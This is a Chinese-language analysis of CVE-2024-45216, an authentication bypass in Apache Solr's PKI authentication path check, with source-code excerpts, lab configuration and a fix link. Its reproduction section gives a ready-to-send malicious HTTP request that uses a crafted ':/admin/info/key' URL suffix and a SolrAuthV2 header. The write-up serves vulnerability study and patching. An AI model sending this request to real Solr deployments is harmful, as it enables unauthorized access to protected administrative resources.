Apache Solr Fake URL Bypass Auth(CVE-2024-45216)
字数 999 2025-08-22 18:37:27
Apache Solr Fake URL Bypass 认证绕过漏洞(CVE-2024-45216)分析
漏洞概述
Apache Solr 存在一个认证绕过漏洞(CVE-2024-45216),攻击者可以通过构造特殊的URL绕过PKIAuthenticationPlugin认证机制,从而未授权访问受保护资源。
漏洞影响
- 影响版本:特定配置下的Apache Solr
- 漏洞类型:认证绕过
- CVSS评分:待定
漏洞原理分析
关键漏洞点
漏洞位于Solr的认证处理逻辑中,具体在org.apache.solr.servlet.SolrDispatchFilter#authenticateRequest方法。当URL以PublicKeyHandler.PATH(即/admin/info/key)结尾时,会直接通过认证检查。
认证流程分析
- Solr通过
PKIAuthenticationPlugin进行认证处理 - 认证逻辑首先检查请求路径:
String requestPath = ServletUtils.getPathAfterContext(request); if ("/admin/info/key".equals(requestPath)) { log.debug("Pass through PKI authentication endpoint"); } - 如果请求路径匹配
/admin/info/key,则直接通过认证 - 攻击者可以通过构造特殊URL如
*:/admin/info/key来绕过认证
触发条件
要利用此漏洞,需要满足以下条件:
- Solr运行在SolrCloud模式下(启用了ZooKeeper)
- 配置了PKI认证插件
- 请求中包含
SolrAuth或SolrAuthV2头
环境配置要求
必要配置
- 启用ZooKeeper(设置
SOLR_JETTY_HOST="0.0.0.0") - 在
./server/solr/目录下添加security.json文件 - 通过ZooKeeper CLI设置安全配置:
set /security.json '{"authentication":{"blockUnknown":true,"class":"solr.BasicAuthPlugin","credentials":{"solr":"IV0EHq1OnNrj6gvRCwvFwTrZ1+z1oBbnQdiVC3otuq0= Ndd7LKvVBAaZIF0QAVi1ekCfAJXr1GGfLtRUXhgrF8c="}},"authorization":{"class":"solr.RuleBasedAuthorizationPlugin","permissions":[{"name":"security-edit","role":"admin"}],"user-role":{"solr":"admin"}}}'
漏洞复现步骤
-
启动Solr in SolrCloud模式:
/bin/solr start -z localhost:2181 -c -force -
发送恶意请求:
POST /solr/admin/cores:/admin/info/key HTTP/1.1 Host: <target> Cache-Control: max-age=0 SolrAuthV2: 123 Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 0
修复方案
漏洞修复commit:
https://github.com/apache/solr/commit/bd61680bfd351f608867739db75c3d70c1900e38
建议升级到已修复版本或应用相关补丁。
技术细节
关键代码分析
PKIAuthenticationPlugin初始化代码:
this.pkiAuthenticationSecurityBuilder = new PKIAuthenticationPlugin(
this,
this.zkSys.getZkController().getNodeName(),
(PublicKeyHandler)this.containerHandlers.get("/admin/info/key")
);
认证检查逻辑:
if ("/admin/info/key".equals(requestPath)) {
log.debug("Pass through PKI authentication endpoint");
} else if (!"/solr/".equals(requestPath) && !"/".equals(requestPath)) {
// 正常认证流程
// ...
}
总结
此漏洞利用Solr对特定路径(/admin/info/key)的特殊处理,通过构造恶意URL绕过认证机制。管理员应及时应用修复补丁或升级到安全版本。